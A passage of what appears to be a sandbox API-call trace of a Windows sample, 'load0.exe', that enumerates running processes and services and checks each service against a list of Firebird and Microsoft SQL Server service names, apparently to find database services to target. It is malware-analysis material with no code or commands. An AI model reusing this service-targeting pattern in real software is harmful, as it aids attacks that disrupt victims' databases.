szExeFile="RuntimeBroker.exe")) returned 1 [0284.196] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0284.196] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0284.197] lstrlenW (lpString="load0.exe") returned 9 [0284.197] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0284.198] lstrlenW (lpString="load0.exe") returned 9 [0284.198] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.198] lstrlenW (lpString="svchost.exe") returned 11 [0284.198] Process32NextW (in: hSnapshot=0x11c0, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0284.199] CloseHandle (hObject=0x11c0) returned 1 [0284.199] Sleep (dwMilliseconds=0x1f4) [0284.972] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64870 [0284.973] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0284.973] GetLastError () returned 0xea [0284.973] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d10) returned 0x3240080 [0284.973] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1d10, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0284.974] CloseServiceHandle (hSCObject=0x3f64870) returned 1 [0284.974] lstrlenW (lpString="Appinfo") returned 7 [0284.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0284.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0284.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0284.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0284.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0284.974] lstrlenW (lpString="AppXSvc") returned 7 [0284.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0284.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0284.974] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0284.974] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0284.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0284.974] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0284.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0284.975] lstrlenW (lpString="Audiosrv") returned 8 [0284.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0284.975] lstrlenW (lpString="BFE") returned 3 [0284.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0284.975] lstrlenW (lpString="BITS") returned 4 [0284.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0284.975] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0284.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0284.975] lstrlenW (lpString="CDPSvc") returned 6 [0284.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0284.975] lstrlenW (lpString="ClickToRunSvc") returned 13 [0284.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0284.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0284.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0284.975] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0284.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0284.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0284.976] lstrlenW (lpString="CryptSvc") returned 8 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0284.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0284.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0284.976] lstrlenW (lpString="DcomLaunch") returned 10 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0284.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0284.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0284.976] lstrlenW (lpString="DeviceAssociationService") returned 24 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0284.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0284.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0284.976] lstrlenW (lpString="Dhcp") returned 4 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0284.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0284.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0284.976] lstrlenW (lpString="Dnscache") returned 8 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0284.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0284.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0284.976] lstrlenW (lpString="DPS") returned 3 [0284.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0284.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0284.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0284.977] lstrlenW (lpString="DusmSvc") returned 7 [0284.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0284.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0284.977] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0284.977] lstrlenW (lpString="EventLog") returned 8 [0284.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0284.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0284.977] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0284.977] lstrlenW (lpString="EventSystem") returned 11 [0284.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0284.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0284.977] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0284.977] lstrlenW (lpString="FontCache") returned 9 [0284.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0284.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0284.977] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0284.977] lstrlenW (lpString="gpsvc") returned 5 [0284.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0284.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0284.977] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0284.977] lstrlenW (lpString="iphlpsvc") returned 8 [0284.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0284.977] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0284.977] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0284.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0284.977] lstrlenW (lpString="KeyIso") returned 6 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0284.978] lstrlenW (lpString="LanmanServer") returned 12 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0284.978] lstrlenW (lpString="LanmanWorkstation") returned 17 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0284.978] lstrlenW (lpString="lfsvc") returned 5 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0284.978] lstrlenW (lpString="lmhosts") returned 7 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0284.978] lstrlenW (lpString="LSM") returned 3 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0284.978] lstrlenW (lpString="MpsSvc") returned 6 [0284.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0284.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0284.978] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0284.978] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0284.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0284.979] lstrlenW (lpString="NcbService") returned 10 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0284.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0284.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0284.979] lstrlenW (lpString="netprofm") returned 8 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0284.979] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0284.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0284.979] lstrlenW (lpString="NgcSvc") returned 6 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0284.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0284.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0284.979] lstrlenW (lpString="NlaSvc") returned 6 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0284.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0284.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0284.979] lstrlenW (lpString="nsi") returned 3 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0284.979] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0284.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0284.979] lstrlenW (lpString="PcaSvc") returned 6 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0284.979] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0284.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0284.979] lstrlenW (lpString="PlugPlay") returned 8 [0284.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0284.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0284.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0284.980] lstrlenW (lpString="Power") returned 5 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0284.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0284.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0284.980] lstrlenW (lpString="ProfSvc") returned 7 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0284.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0284.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0284.980] lstrlenW (lpString="RpcEptMapper") returned 12 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0284.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0284.980] lstrlenW (lpString="RpcSs") returned 5 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0284.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0284.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0284.980] lstrlenW (lpString="SamSs") returned 5 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0284.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0284.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0284.980] lstrlenW (lpString="Schedule") returned 8 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0284.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0284.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0284.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0284.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0284.980] lstrlenW (lpString="SecurityHealthService") returned 21 [0284.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0284.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0284.981] lstrlenW (lpString="SENS") returned 4 [0284.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0284.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0284.981] lstrlenW (lpString="ShellHWDetection") returned 16 [0284.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0284.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0284.981] lstrlenW (lpString="Spooler") returned 7 [0284.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0284.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0284.981] lstrlenW (lpString="SSDPSRV") returned 7 [0284.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0284.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0284.981] lstrlenW (lpString="StateRepository") returned 15 [0284.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0284.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0284.981] lstrlenW (lpString="SysMain") returned 7 [0284.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0284.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0284.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0284.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0284.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0284.982] lstrlenW (lpString="SystemEventsBroker") returned 18 [0284.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0284.982] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0284.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0284.982] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0284.982] CreateToolhelp32Snapshot 